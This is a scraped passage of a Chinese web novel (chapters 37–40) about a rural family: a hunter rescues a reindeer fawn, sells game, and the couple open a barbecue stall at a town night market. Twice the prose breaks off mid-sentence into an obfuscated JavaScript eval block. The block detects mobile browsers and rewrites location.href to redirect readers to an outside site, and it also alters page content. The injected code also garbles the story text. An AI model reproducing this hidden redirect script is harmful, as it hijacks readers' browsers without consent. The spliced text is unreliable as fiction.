将板车放回院子后，姜临看着两个孩子，两三天不见似乎瘦了，眼里满是心疼：“快吃饭吧，我都做好了。” 虽然现在不饿，但不能拂了小爹爹的好意。吉如意和霍云铮洗了手去吃饭，吉安急着去看那似鹿非鹿的东西。 霍云铮说道：“小爹爹，大爹爹，我在山上救回来个动物，长得有点儿像鹿，你们看看那是什么东西。它有条腿还受伤了，得找点儿药给它上上，再喂点儿吃的。” 吉安把小家伙的笼子拎出来看，没见过，不认识。 其他人都围过去看，都表示不认识，姜临回屋找药给它上。 吉上进看了半天，才说道：“这好像是驯鹿。” “驯鹿？”吉安问，“那是什么？” “据说再往北边去，有一个民族的人就用驯鹿来拉货物。驯鹿很有力气，而且在冰雪上拉雪橇又快又稳。” 天热门是开着的，吉如意和霍云铮吃着饭，也能听到外面他们说的话。 吉如意双眼一亮，放下碗走出来：“真是驯鹿吗？怪不得有些像鹿，但又和咱们平常看的鹿不一样。那咱们把它养大了，是不是也能帮着咱们拉货了？” 吉上进也很高兴：“应该可以吧。” “这太好了！”吉如意又回到屋里和霍云铮分享着喜悦，“你可真是太厉害了。” 听到自家小夫郎的夸奖，霍云铮美滋滋的，面上还谦虚着说道：“我也是误打误撞。” 姜临给小家伙上药，它很是不老实，好在他们人多，药也顺利的上完了，还用布给包上了。 姜临又弄了些草给它吃：“看样子它应该不大，估计还得喝奶吧。” 吉上进在一旁说道：“我听说驯鹿都是五六月份产崽，现在将近八月，它估计也就两三个月大。” 姜临看着它满脸的怜爱：“上哪给它弄点儿奶喝呢，不知道谁家的狗生崽了，让狗来喂喂也行。” 吉安说道：“我听说二伯家的狗下崽了，可是——” 吉如意吃完了最后一口饭从屋里出来：“不行熬点儿米油给它吃吧，不是说米油好吗？” “说得对，那我这就熬米油去。” 姜临说干就干，这如果真是只驯鹿的话，可是能帮上他家大帮。 吉如意又对霍云铮说道：“它也是咱们家的一份子，和大黑一样，应该给它取个名字。” “好啊，”霍云铮笑道，“你来取吧。” 吉如意摇摇头：“你来取吧。”他只会根据毛色来取，大黑一身黑毛，就叫大黑了。霍云铮虽然失忆了，但起的名字肯定得自己好。 霍云铮想了一下，说道：“银霜，叫银霜怎么样？” “好听，就叫银霜了。”吉如意挺高兴，要是他取，就叫小白了。 吉自强和吉安看了一会儿就走了，霍云铮打算明天一早去镇上把猎物卖了，然后再去铁匠那里看看情况。 姜临把熬好的米油喂给银霜喝，小家伙还真喝得挺香。又给了点儿草，也都吃了，看样子是能养活。 做好这些后，姜临说道：“如意，正好现在也没什么事，我想去看看你姥姥。” 自打吉上进生病后，姜临已许久没去看过了，纵然上次两个弟弟说娘还好，但他心里还是惦念着的。 吉如意说道：“现在就去吗？是不是 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两只野鸡和野兔能卖不少银子的，他可不能白占了孩子的便宜。 “小爹爹，咱们是一家人就不说两家话。我们赚了银子不也是想让家里过得更好吗，咱们都是一家人，还分什么你我，你要是给银子可就见外了，”霍云铮劝他说道，“按理说，我也应该去看看姥姥的。可现在家里有事，脱不开身。到那以后，你和姥姥说一声，等我和如意忙过这阵了，我们俩再去看她。” 一番话说的姜临心里热乎乎的，他承了霍云铮的好意。 姜临幼时日子过得苦，一个老娘拉扯三个孩子不容易。但没因他是个哥儿就偏心两个弟弟，过得苦只是吃穿不好。 霍云铮去给他拿野鸡和野兔，挑了最胖的。 “榛子、核桃、还有榛蘑都带去些。”吉如意也帮着忙活，“榛蘑还没有晾晒好，你告诉我舅母再晒晒。” 除了这些东西，其他的也就没什么了。 全都收拾好后，也有很大的一堆。 霍云铮看着这些东西说道：“小爹爹，你等会儿再走，我去给你雇牛车。” “雇什么牛车，这些东西我背得动。”雇牛车不知道要花多少铜板，省下来的铜板买别的多好啊。加起来也就二十来斤，对干惯了农活的他来说，根本不算重。 “你等着，我去去就回。” 正说着要往外走，就见余小山和余小川兴冲冲地跑了进来：“云铮哥，你回来啦！” 他们是听村里人说的霍云铮回来了，就马上来瞧个热闹。 霍云铮道：“你俩先待着，我去吉大哥家雇个牛车就回来。” “你要去哪儿啊？”余小山问，“我家买牛了，我赶车拉着你。” “买牛了？” 这还是在霍云铮上山第二天发生的事，他刚到家并不知道。村里很多人已经去看了一遍了，谁家买牛那可是大事，都会被村里人羡慕的。 余小山道：“是啊，刚买没几天。” 37. 第三十七章 “你赶车能行吗？”霍云铮有些不放心。 “当然行了，你说去哪儿我就送你去哪儿。昨天我还赶车去了镇上呢，”余小山说话时的表情很是骄傲，“娘说了，你要是用牛就随便用。正好你要去镇里做生意，有头牛可方便多了。” 霍云铮喜出望外：“你姜叔叔要去麦丰村看他娘，你要是没事的话，就帮我送他一趟。” “好说好说，我这就回去赶牛车过来。” 余小山飞也似地跑了，生怕霍云铮不用他一样。 “哥，我也去——”余小川在后面大声喊着。 他们家刚买了牛，稀罕劲还没过呢。这几天总想赶牛车出去遛遛，但霍秀兰总是不让，有时候偷着赶出去了，回去还挨顿骂。这下可好了，终于有个光明正大的理由赶出去遛遛了。 果然，霍秀兰一听是霍云铮要用车，二话没说就让余小山把牛套上车赶走了。 霍云铮和余小川把东西都装上牛车，又嘱咐道：“小爹爹，你别自己回来，明天我让小山再把你接回来。” “你们这群孩子，”姜临心里热乎乎的，说不出什么多余的话来，“我知道了。” 吉如意又取了两个小垫，让姜临和余小川垫在屁股下面，这样能舒服些。 吉如意把榛蘑全都拿出来晒着，又给动物们喂了点儿食和水就闲了下来。 “大伯做的桌椅真不错。” 霍云铮还坐上试试，高矮正合适，挺舒服的。 “你大伯还怕你们不满意，做好了一个后还拿过来问问你们行不行，”吉上进笑呵呵的，“我说你们上山了，让他看着做就行，不过我看他做的真挺好的。” 吉如意也坐上试试：“确实不错，是我想要的。” “还有那些签子你都看看。”吉上进让他们跟着他进屋，“都让你小爹爹晾着呢，一共有七百支。” 吉勤奋一家但凡能干活的都做签子呢，除了想多赚银子以外，也怕做的慢了耽误吉如意的生意。 “这一共是两天的吗？”吉如意问道。 吉上进说道：“对，他们每天晚上都会送来，说几个小的也帮着整呢。” 算上今天和明天的，会有一千多支烧烤签，还有铁签呢，肯定是够用的。 吉如意没敢把生意想的太好，只想着能卖掉一百串就行了，要照这样算的话，这么多签子能够用十天呢。 吉如意道：“那等大伯晚上来，把银子结了。” 晚上，吉上进又带来了四百根烧烤签子，做了两日熟练了不少，今天做的比前两天都要多。桌椅的银子已经结了，只是烧烤签子还没结，一千根一共二百文。 吉如意还去给了吉安一百文，这两天他也着实辛苦了，吉安本不要，最后还是架不住吉如意劝说，将银子拿了。 吃过晚饭后，三人在院中乘凉。 吉如意随口问道：“大爹爹，这两天家里发生什么事了吗？” “倒没什么事，”吉上进的精神头看起来比前两日更好了，现在都很少咳嗽，“只是你们走的那天夜里，村里有人说听到了狼叫。” “狼叫？狼怎么下山了？”吉如意皱眉，和霍云铮对视了一眼。现在山上猎物充足，狼是不会轻易下山的。 吉上进道：“谁知道呢，不过后来没再听到叫，村长让大家这几天注意些。” 吉如意四处看看：“晚上可得把门锁紧些。” 他们家倒没什么好怕的，外面有大黑守着，但凡有点儿风吹草动大黑一叫他们就能发现。而且还有霍云铮这个猎户呢，更是没什么好怕的。 聊了一会儿天，便回去睡觉了。 天亮以后，霍云铮还没等出门，就见余小山和余小川赶着牛车来了。 “云铮哥，我娘让我来送你去镇上。” 霍秀兰知道霍云铮今天肯定会去平安镇卖东西，便让两兄弟赶着牛车送他去。 霍云铮不好拒绝这好意，便将猎物全都装在了牛车上面，坐着牛车跟着两兄弟去镇上了。 村里的人看到他们，纷纷投来了羡慕的目光。 “你们看看老余家，去年买了地，今年又买了牛，真有银子啊。” “他们可不光去年买地了，这几年买了好几次呢。” “而且溪哥儿出嫁，不算陪嫁的东西，光银子就拿了三十两。” “这么多！” 很多人都不知道这回事，娶个姐儿都没有这么贵的彩礼，更别提娘家给的陪嫁了。 “那那头给的彩礼一定很多吧。”要不然怎么能舍得拿出这么多的陪嫁。 “冯家穷得狠呢，哪能给得出这么多的彩礼，就是寻常给哥儿的彩礼。是秀兰把彩礼给溪哥儿带过去了，自己又添了点儿银子一并做了嫁妆。” “秀兰可真心疼孩子。” “谁说不是呢，不过人家也真是有银子。” “还是得有门好亲戚，这几年府城那个可不少给他们东西，每次都满满的两大马车，一个给她的，一个给永强的。什么吃的用的装了那么多，估计银子也给了不少。” 自己怎么就没有一个有钱的好亲戚呢。 “那倒是，秀兰也是个会过日子的，有了银子也不乱花，人家就买地。你看她家房子也不怎么好了，还说要等到小山的亲事定下来以后再盖呢。” “永强每年也得了不少的东西，我可没看到他怎么买地。” “谁说不是呢，这小霍从来到现在瞅着和永强也不亲。” “亲才怪呢，你没听永强说的那话？刚开始说小霍是个累赘，让秀兰别管他。” “他真这么说的？这可太不该了，小霍他爷爷和他爹，可没少贴补他们。” “就是，怎么能说出这种话来。没有小霍他爹，他霍永强能天天吃酒喝肉？” “现在看到小霍能打猎了，后悔了吧。” 正说着，一回头瞧见霍永强竟在不远处。大家全都不说了，你看看我，我看看你的。 刘老夫郎笑呵呵的：“永强啊，你姐买了牛，你什么时候也买头牛啊？” 霍永强当然听到那些话了，刘老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458093|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫郎他不敢惹，只能装作没听见：“以后就买。” 谁都知道他买不了，家里地没那么多，买来牛干什么呢。 那几年从府城送来的东西，霍秀兰和霍永强得到的都是一样的，并没有厚此薄彼。霍永强拿到东西后，铺张浪费，不仅没有存下什么，反而因为好吃好喝，把家里的收成也都搭了进去。 霍永强也就是驴粪蛋表面光，看起来光鲜亮丽的，实际上让他拿出一两银子都费劲。 *** 霍云铮那些猎物，一共卖了五十两七十五文。那只獾子卖给了药铺，并要了一罐獾子油，等熬好了下次他来取。 那五十两银子全都换成了十两一个的整银，他揣着那十个银元宝，心里想着吉如意看到了不知道有多喜欢呢。 然后又用那七十五文买了点儿猪肉，并给余英买了点儿零嘴。 他知道给银子霍秀兰是不会让的，如果再买什么稍贵的东西，她还得唠叨着什么。给余英买点儿吃的，她就不会说什么了。 如此，这七十五文，只剩下了十文。 然后又去铁匠那里把烧烤炉子和铁签子取回来，这就回去了。 到了家里，霍云铮神神秘秘地把在做活的吉如意拉进屋：“你猜一共卖了多少钱？” “三十两？”吉如意没敢猜太多，他并不知道鹿和獾子都能卖上什么价。 霍云铮一脸的得意：“把手伸出来。” 吉如意伸出一只手，霍云铮往他的手心里放了一颗银云宝。 吉如意双眼一亮，脸上美滋滋的露出笑来。 霍云铮又放了一个，吉如意脸上的笑容更大了。当放到第三颗时，就在吉如意以为没有了，霍云铮又放了第四颗、第五颗。 “今天一共卖了五十两并七十五文。”霍云铮一脸得意地笑。 “这么多！”吉如意觉得手心里的银子沉甸甸的，整个五颗银元宝！他从来没有见过这么多的银元宝！看了一会儿，又抬起头望着霍云铮傻傻的笑。 霍云铮一把将他搂在怀里：“相公厉不厉害？” “厉害！”吉如意说得很大声。 “那是不是应该给点儿奖励？”霍云铮那意思已经很明显了。 吉如意照着霍云铮的红唇用力地亲了一口，又感觉这个奖励太轻了，又紧跟着亲了两口。 霍云铮浑身烧得火一样旺，那团一直以来无处发泄的火憋得他难受。 他还要得更多，更多。可还应该怎样要更多？ 他不知道，明明这已经是更多了，为什么还感觉空虚与燥热？ 吉如意同样难耐，这样的奖励好像并非是奖励，他好难受，身体不由自主地往霍云铮的身上靠。明明霍云铮已经那样用力地拥抱他了，甚至要把他融进了骨血里，可他还是觉得不够，不够。 俩人谁都没有说话，霍云铮又用力地在吉如意的唇上狠狠地亲了几下。 片刻后，俩人都气喘吁吁的。 最后，还是吉如意先说了话：“你，你那个东西戳得我好疼。” 38. 第三十八章 霍云铮忙将吉如意放开，恰好吉上进在外面叫他们，俩人整理整理衣服，吉如意示意霍云铮先出去，他把银子藏起来再出去。 现在所有的东西都已经置办齐全了，等下午姜临回来了就烤。 大黑吃饱了在屋檐底下晒着太阳，偶尔用后蹄挠挠耳朵。银霜的适应能力很好，很快就融入到了家庭里，正依偎在吉如意身边，闭着眼睛任由他一下一下拍着，吉如意停下来时，它还会睁开眼睛去看，又用嘴去拱他的手，示意他别停。 鸡崽都已经孵出来了，十颗蛋全都孵了出来。老抱子正领着它的崽们在墙边跑食吃，有母鸡过来抢，又被它凶悍地啄走了。 *** 吉如意先将肉切好了腌上，等到余小山去接姜临的时候，他又着手准备素菜。 往签子上串的时候，吉如意笑道：“一串就这么少的东西，一个人想吃饱了不得好几十串啊。” “咱们的签子可能有点儿少，像烤串这种东西，一般都是有点儿闲钱的人去吃，通常不会自己吃，”霍云铮边麻利地串着串边说道，“至少两个人，要是一个人点三四十个串，两个人加起来就得有六七十个。咱们一千多根签子，只怕是吃不上几波人就用没了。” “能有那么多人吃吗？”现在的吉如意对平安镇人的花销不敢想得那么大，“我本来还想着明天只去五百串卖呢。” “五百串有点儿少，不如这样，”霍云铮出着主意，“咱们串好了五百串带着，再把剩下的签子也带着，然后再带一些食材。如果人多，还可以边串边卖。” 吉如意双眼放出光来：“你这个办法好，就按你说的去办。” 快要烤的时候，余小川赶着牛车回来了。去的路上是余小山赶的，回来是余小川赶的，兄弟俩都得过过瘾。 姜临一脸喜气洋洋的，他这次回去，可着实比之前威风了不少。不是说在老娘和弟弟面前，是说在麦丰村村民面前。 麦丰村不如大吉村人口众多，村中只有几十户而已，谁家里有几口人，家里是个什么情况，大家都差不多知道。 姜临嫁到大吉村多年，只生了一个哥儿，麦丰村的人都是知道的。年节的时候，姜临都是和吉上进带着吉如意回去的，样样礼都不差，平常也会去看看。因着姜家穷苦，他又只生了一个哥儿，有的麦丰村人瞧见了他，话里话外总是有一股子的优越感。 这次可不一样了，他是坐着牛车回去的，尤其带着的那两只野鸡野兔，看得麦丰村的人眼热。 乖乖，那得多少银子啊。 姜临笑呵呵地说，他儿婿是个猎户，这些都是他儿婿上山打来了，更是儿婿亲自装进笼子里让他带来的。并将霍云铮如何如何好，两个孩子怎么怎么孝顺说了一遍。 麦丰村的人将信将疑，吹吧。猎户有多赚钱谁不知道？没听说过谁家猎户入赘的，更没听说过有猎户长得好的，什么猎户，什么屠夫，不都是长得凶神恶煞的。说不定是想贪图他家的银钱呢，也就刚开始装装孝顺，以后看吧。 这么一想，麦丰村里人心里好受多了。 可人家的东西是实实在在的拿来了，当天晚上，只要是从姜家门口走过的人，无不狠狠地咽了口水，真香啊。 更令麦丰村的人没想到的是，姜临是坐牛车回来的，竟然也是坐牛车回去的。 他来的时候拿的东西多，花银子坐牛车倒是可以理解。可回去轻手利脚的，还坐牛车？还就拉了他一个人，这多糟蹋银子啊？ 等到余小山说，这车是他们家的，霍云铮跟他们是一家人时，麦丰村的人坐不住了，家里都能买得起牛了，会是假装入赘，贪图钱财的人吗？ 这么一想，麦丰村的人心里更不是滋味了。 姜临肉眼可见的高兴：“你姥姥身体可好了，说野鸡肉好吃，昨晚上吃了两大碗饭，鸡肉也吃了不少。要不是我们拦着，还能再吃呢。她还问你这次怎么没去，我说你要去镇上卖烤串，她还挺高兴的呢。” “等忙过这阵了，我也去看看。” 姜临的姥姥何永菊待他极好，姜临生下他后，她还来这里照看他三个月。他小的时候，每到农忙时节，姜临忙着整地没空照顾他，就会将他送到麦丰村，让何永菊帮着照看。她不像有的老人那样，重汉子轻哥儿、姐儿的，更不因为他是外孙子，就偏袒着其他几个孙子、孙女。真正做到了一碗水端平，也正因如此，就算姜临不张罗去麦丰村看看，吉上进还会催他。 吉上进生病这事全都瞒着老太太呢，就怕她跟着着急上火。 知道吉如意招了婿，她打心眼里为他们高兴。 正好余小山和余小川都在这里，也省着去找他们过来吃了。他俩知道吉如意这是要拿去赚钱了，没敢拿太多，好说歹说只拿了十串，每人两串。 吉如意还记得刘老夫郎要吃一事，擦擦手准备去问问，余小山自告奋勇，说他去叫一声就好了。 兄弟俩拿着烤串兴冲冲地跑了，没过多久，刘老夫郎就来了。 这次不是他自己来的，还带着自己的小孙孙和小孙女，算他一共八个人。 “离着老远就闻到味了，真香啊。”刘老夫郎让孩子们跟在自己身后，怕溅出来的火伤到孩子，“都有什么啊？” 吉如意忙答道：“有肉串，是猪肉的，还有一些青菜，都在这边摆着呢。我们今天只是自己先烤着试试，东西就没准备的那么多。素的一文一串，荤的两文一串。不过大爷爷你是我的第一个顾客，都给你便宜一些。三串素的收你两文钱，两串荤的收你三文钱。” 刘老夫郎笑道：“这不是占你便宜了吗。” 吉如意也跟着笑：“说这话就见外了，不过您别把我给你便宜这事说出去就行。” “那是当然，你放心吧，我一定不说，”刘老夫郎招呼几个小的，“快过来看看想吃什么。” 又嘱咐吉如意：“我们不要带辣椒的，都吃不了辣。” 吉如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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大吉村人口众多，就算每个人买的少，但架不住人多啊。没一会儿功夫，吉如意准备的肉和菜竟然都卖没了。 有的村民没买到，只好失望而归。 天已经全黑了，姜临做好了饭菜招呼着大家过来吃饭。 吉如意急着查银子，跑到屋里查完后，美滋滋地出来：“你们猜一共卖出了多少？” 姜临猜：“一百二十文？” 霍云铮道：“一百五十文？” “正正好好一百六十文！”吉如意根本没想过会有这么多，肉是霍云铮昨天花了四十文买的，但只用了一半，剩下的一半让姜临做菜了，青菜都是自己家的，根本没花银子，也就是签子花银子了，但是除了签子钱，一百一二十文是有的。 村里人买了这么多，镇上的人更有钱，那得买多少啊？吉如意不由得将赚钱的期待又提高了些，那一天能赚两百文。 这可真是太好！他要发财了！ 39. 第三十九章 翌日早间，吉如意刚把院门打开，就看见余小山赶着牛车过来了，余小川坐在旁边。 “嫂夫郎，早啊。” 吉如意朗声道：“早啊，上镇上啊？” “我是来接你们的，你们不是今天去镇上卖烤串吗？” 为了不耽误吉如意的生意，两兄弟特意起了个大早。 吉如意忍不住笑起来：“要到申时才去呢。” “啊？那么晚？” 余小山挠挠脑袋，余小川也是一脸的震惊。 “烤串生意要等下午了才能做，天越黑生意就越好。” “这么回事啊。”两兄弟之前没注意过这个，农家人去镇上都是大早上，早去早回，他还以为卖烤串也是这样呢。 “那我们先回去了，等申时再来。” “先等等，”吉如意叫住了两兄弟，“正好，我跟你们去一趟你们家。” 两兄弟不知道他要去干吗，忙让他坐上来。吉如意找了一边坐下，跟着他们俩回家了。 吉如意要去镇上做生意，免不了要用到余家的牛车，白用个一两次倒是行，可总是白用万万是不行的。亲兄弟还得明算账，为防止以后两家发生龃龉，这事还是得先说清楚了好。 再说了，余家在村里亲戚众多，霍秀兰本身就是村里的人，也不少亲戚。这些亲戚连着亲戚的，看他们总是给吉如意他们白用车，难免也会起了想白用车的心思。亲戚那么多，给这个白用了，到了那个说收钱，肯定会不高兴。牛累坏了怎么办？板车用坏了怎么办？ 所以，不管从哪方面来说，他们家用霍秀兰的车都是要给银子的。 霍秀兰没想到吉如意会来，看着还没来得及收拾的家里，显得有些局促。她用手迅速地擦了几把炕沿边，叫吉如意坐下：“刚起来，家里还没收拾呢。” 背着手，朝几个小的摆摆手，那意思是叫他们快点儿收拾屋子。 其实，霍秀兰家里并不乱，她是个干净利落的性子，家里的一切都摆放得井井有条。虽然还没有来得及收拾屋子，但并不乱。 吉如意坐下后，霍秀兰又忙着给他倒水，找零嘴吃。 “大姑，你别忙了，我说几句话就走。” 吉如意见她忙活着，又站起来。 “快坐，坐、坐。” 霍秀兰又让他坐下，自己也坐到了旁边。 吉如意将来意说了，霍秀兰听完后久久不语。 最后她抬起头来，眼里带着红：“我知道你们都是好孩子，你说的都对。可我这心里难受，我们家要是没有云铮他们家，根本不可能过成现在这样。我爹是个混账，把好端端的家产都败光了。那些年，家里日子过得苦啊。隔三差五就有讨债的上门，尤其是大年三十，对于别人家来说是过节，对我们家来说是过劫。” 霍秀兰别过头去，过了一会儿，又将头转过来：“家里能拿的都被他们拿走了，地也卖了还赌债。那时候饿的我啊，天天喝凉水，可凉水喝下去也不解饱，喝得我肚子疼。后来又要卖房，房子太破了，也不值什么银子，根本没人买。那些人就想把我娘和我卖去窑子里，把永强卖到有钱人家的府里当奴仆。” 这些往事已过去许久了，现在提起来依旧让人心酸，霍秀兰又说不下去了。 吉如意轻轻摩挲着她的背，安慰着她。都是一个村子住着的，这些事，吉如意多少是知道的。 “多亏了婶子送回了一笔钱，让我们把债还清了，我们这才没被卖。后来，叔跟婶子总是送银子送物回来，我们靠着那些银子和东西，一点点又买了地，过得比以前还要好，比大吉村里的很多人家都要好。” “这么多年，我们家受到他们的恩惠不知道有多少。叔跟婶去世以后，云铮他爹也依旧给我们送银子送物，这么多年，没有一次不送的。不提银子，就说那些东西就值不少银子呢。可我们呢？我们对他们又是怎么做的？这么大的恩情，我们都没报答呢。” 霍秀兰越说越哽咽，吉如意轻声安慰着她。 最终，两人说定，用一趟车五文。单看价格的话，和吉志家的是一样的，可吉志是来回一个人五文，又是好多人坐一起的，霍秀兰家只拉吉如意他们一家人，而且连接再送才收五文钱。也就是说，吉如意出摊时，余家人赶着牛车把他们送去，等他们收摊时，再接他们回家。所以说，价钱还是很便宜的。结账的方式，十日一算。 姜临早上去镇上买肉了，猪肉和羊肉都得买。 去掉五十两整银，吉如意还有一两多的散碎银子，他把银子都给了姜临，让他多买一些。 今天还要蒸些馒头，吉如意在镇上看到有人把馒头一切两半烤，也很受欢迎。 吉如意正和着面，乔哥儿来了。 “我来看看有没有什么能帮得上你忙的。” “正好，你不来我还要去找你呢。签子得多做一些，我怕之前准备的不够用。” 乔哥儿双眼一亮：“那我这就去告诉我娘和我嫂子。” “行，那边堆着的木头都是要做签子的。” 乔哥儿答应着，又问道：“你这边能忙过来吗？用我帮忙吗？” “差不多，我们三个人呢。”他说的是他和姜临，还有霍云铮。 “不如我今天先帮你吧，”乔哥儿说道，“我看你昨天有不少人买，去了镇上买的人肯定会更多。” 吉如意一想也是这个道理，如果准备多了的话，大不了他们一家吃了，可准备的少了，会少赚不少银子。当下决定让乔哥儿留下来，帮着他一起做烤串。 “意哥儿，这葱和香菜怎么切成一段一段的啊？这要怎么烤啊？”乔哥儿拿着差不多有食指长的葱段和香菜好奇。 “这样。”吉如意拿过一个同样长的干豆腐，将葱段和香菜往里面一卷，然后插上两根签子，“这叫菜卷，等烤的时候外面刷一层烤酱，再撒一层烤料就好了。” “还能这么烤啊。”乔哥儿还是头一次见，他没有在镇上吃过烤串。 “一会儿五花肉回来了，里面再卷上一点儿金针菇和葱白，烤的时候也是先刷酱后刷料，这叫五花肉卷金针菇。” 乔哥儿真是长见识了，确实从来没什么吃过。烧烤对很多农户来说还是很奢侈，吃一顿可以买很多肉了，够全家吃好几顿了。 吉如意原来也不懂，还是这几日跟着霍云铮吃的时候才逐渐明白的，他还研究了一下，加了些自创的。 姜临将猪肉和羊肉买回来后，吉如意切成小块，然后用料腌制上。 当所有的准备工作都做完了以后，吉如意、霍云铮、姜临和乔哥儿坐上了余小山两兄弟赶来的牛车，去了平安镇。 本来吉如意是想让乔哥儿回去的，但乔哥儿担心他忙不过来，硬是要跟来帮忙。 大晋没有宵禁，夜晚十分繁华，官府还设有专门的夜市地点，供百姓买卖。 吉如意一行人来到了官府设置的夜市地点，往里面看去，已经有很多人在此摆摊了。 霍云铮朝着官府的人拱拱手：“敢问大人这租金是如何收取的？” “至少一个月起租，位置好一点儿的五百文，位置一般的三百文，位置不好的一百文。”官府的人手里拿着笔在写什么东西，说到这里时抬头看了霍云铮一眼，见一朗目疏眉的汉子，不由地一怔，起初还以为是哪家的贵公子，再一看他一身的普通农户家的衣服。没想到普通农户家竟还有这般人物，他将笔放下，又接着说道，“不过好的位置没有了，只剩下位置一般的和位置不好的。” 就是不知道这位置有多大，于是又问了一下。 官府的人看他们带来的东西：“你们要卖烧烤？那一个位置可放不下，得两处。” 两处就意味着要多花一份银子，霍云铮和吉如意商量了一下，决定要位置一般的，位置不好的地方虽然便宜，可相应的人也少。要想赚更多的银子，就要更多的投入。于是，俩人决定要位置一般的，俩人交了六百文，领了牌子，由官府的人带着，去了他们租的位置那。 霍云铮和官府的人在最前面走着，俩人一路说着什么，官府的人走的时候还笑着拍了拍他的胳膊。 乔哥儿看得一脸惊奇，在他们老百姓，见了官跟耗子见了猫似的。虽然负责登记的人根本不是官，但只要是官府的人，他们就害怕。霍云铮不但不怕，还能跟官府的人谈笑风生。 乔哥儿悄悄地问吉如意：“那位大人怎么那么高兴？” 吉如意摇摇头，他并没有去听前面俩人的交谈，他一直在看夜市的情况。 夜市总共有六列，每隔三米就有一个木桩，上面挂着红灯笼，照得下面灯光通明。 夜市里卖什么的都有，以吃食居多，能来夜市做生意的，家里多少都是有点儿实力的，否则就连租金都付不起。早市的位置不固定，随意性很大，而且卖一次交一次银子，交的费用也不多。 吉如意的摊位是把边位置，处在下风口，十分适合他摆烧烤，免得烟熏到旁人。他旁边的那家也是卖吃食的，随买随走的那种，不像吉如意这样要坐在这里吃的，倒也不冲突。 那边人瞧见来的宛如从画中走出来的汉子和小哥儿，不由地多看了几眼。 霍云铮将烧烤炉子从牛车上拿下来，找了个地方摆好，余小山和余小川两兄弟将牛车赶走，免得碍事。他们俩今天并不打算回去，要留下来帮忙。 摊子外面有栓牲口的地方，花上一文钱即可。 吉如意等人则将桌椅卸下来摆好，又仔细擦了擦，又将家里平常吃饭的桌子拿出来，擦好以后下面铺了一层油纸，将食材摆放在上面，以供客人们挑选。 那边的火很快就引好了，吉如意拿出一些肉串先放在炉子上烤着，肉串熟的慢，可以先烤着，这样等一会儿有食客来，很快就能将烤串端上去，不用等太长的时间。 香味很快飘了出去，没等吉如意吆喝，炉前就来了一个中年汉子和一个中年哥儿，看样子应该是一对夫夫。 中年汉子问：“怎么卖的？” 霍云铮忙在一旁答：“这边的是一文钱一串，这边的是两文一 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别的烧烤摊都没有，这是吉如意自己想着加的。 霍云铮说，拍胡瓜清香解腻，是很好的下酒菜，八文钱并不贵。 姜临将胡瓜拍好以后，放入盆里，又放了一些炒好的花生，加入一些调料拌了拌。然后放入盘中摆好，霍云铮将盘子接过去，给那对中年夫夫端了上来。 中年汉子抬头看着高大的汉子笑道：“好俊的汉子，那是你的夫郎？” “是啊，”霍云铮一脸的笑意，“我们刚成亲不久。” “真好。” 又随便说了两句闲话，霍云铮便又站到了吉如意身边吆喝着。 果然，吸引了不少人往这边看，霍云铮吆喝地更加卖力。年轻的哥儿、姐儿羞得脸红，就凭这张脸，也要坐下来吃一顿。 羊肉串被烤得滋滋冒肉，炭香混着肉香飘散在空中，勾得人肚里的馋虫蠢蠢欲动。 烧烤的香味太霸道，离着老远都能闻到。 来夜市逛的人，无不被这烧烤的香气所吸引。 没一会儿，桌子就坐满了。 “您先溜达一圈回来兴许就有坐了。”霍云铮笑着留客。 “行吧。” 也只能如此了。 有的食客会到桌前挑食材，有的则干脆坐下来问都有什么，起初霍云铮负责点串和送串的活，但人一多，他就忙不过来。 乔哥儿刚开始不太敢开口，他只在早市上摆摊卖过东西，从来没有这么招待过食客，刚开始有些胆怯，后来仗着胆子招待着食客。 “有酒吗？来坛酒！” 有人大喊着。 霍云铮朗声应道：“客官，我们今天刚出来摆摊，还不曾备酒。不知道客官想喝什么酒？我们去给您买回来。” 那人说了，抓了一把铜板给余小山，余小山不敢怠慢，忙不迭去跑腿。 不一会儿，将酒买了过来，将剩下的五文钱一并给了那食客。 汉子挥了下手：“不要了，赏你的。” 余小山不知所措，五文钱呢，就这么不要了？ 他看向霍云铮，正好霍云铮瞧见了，冲他使了个颜色，余小山会意，马上眉开眼笑的：“多谢客官，祝客官身体健康发大财。” 余小山又走到吉如意身边，将铜板摊开给他看，把刚才的事说了一遍。 吉如意让他收起来自己留着，说这是他凭本事赚到的银子。 余小山高高兴兴地把银子收下，余小川一看哥哥得了赏银十分羡慕，招揽起食客来更加卖力。 准备的食材已经下去了一半，可食客还是源源不断地过来。 几人一合计，由姜临和乔哥儿负责备食材、串串。霍云铮点菜、上菜，余小山和余小川负责帮食客跑腿，闲下来时，也帮着霍云铮点菜、上菜。 旁边那家是卖点心的，炉果、核桃酥、散状糕、槽子糕之类的。 过来吃烧烤的食客，在等烤串的时候，有的会买上一些，连带着他家的生意都比之前好了很多，带来的东西竟早早地卖完了。 卖点心的是个三十多岁的年轻妇人，边收拾摊边盘算着明天要再多做些点心来卖。 她将剩下的两块槽子糕给了吉如意，吉如意要请她吃烤串，被她连连摆手拒绝了，说急着要回家。 “大姐，就你一个人回去啊？” “我相公这几天有事出去了，要不然他也跟我一块来。我家就在镇里，离这不远的，我自己就走回去了。” 吉如意还是不太放心，叫来了余小川，叫她送她回去。 他之所以没叫余小山，是因为他已经到了相看的年纪，送一个姐儿回家，对姐儿的名声怕是不好。余小川年纪还小，倒没那么多的顾虑。 她千恩万谢地谢过，走到半路时，正巧几个孩子结伴来接她，余小川就回去了。 40. 第四十章 生意远比吉如意想的要好，所有的串全都卖完了，还有一些人没吃上。 大家高高兴兴地收拾东西坐上牛车回去，余小山赶车，余小川给他提着灯笼。 